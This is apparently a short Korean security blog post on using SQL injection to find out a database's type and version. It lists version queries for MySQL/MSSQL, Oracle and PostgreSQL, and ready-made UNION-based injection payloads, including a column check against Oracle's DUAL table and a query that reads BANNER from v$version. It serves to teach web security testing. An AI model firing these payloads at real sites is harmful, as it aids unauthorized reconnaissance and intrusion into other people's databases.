보안/WEB
[WEB 보안] 데이터베이스 버전 확인
블링손
2020. 4. 22. 13:46
반응형
: SQL Injection 취약점을 처음 식별 한 후에는 일반적으로 데이터베이스 자체에 대한 정보를 얻는것이 유용
1) 데이터베이스 유형 및 버전 조회
Database Type |
Query |
Microsoft, MySQL |
SELECT @@version |
Oracle |
SELECT * FROM v$version |
Postgre SQL |
SELECT version() |
ex) ' UNION SELECT @@version--
2) 쿼리에서 반환되는 열 수와 열을 텍스트 데이터를 포함, 쿼리가 카테고리 매개 변수에서 다음과 같은 페이로드를 사용하여 두개의 텍스트를 포함하는 두개의 열을 리턴하는지 확인(DB 종류 : Oracle)
'+UNION+SELECT+'abc','def'+FROM+DUAL--
3) 다음 페이로드를 사용하여 데이터베이스 버전 표시
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
반응형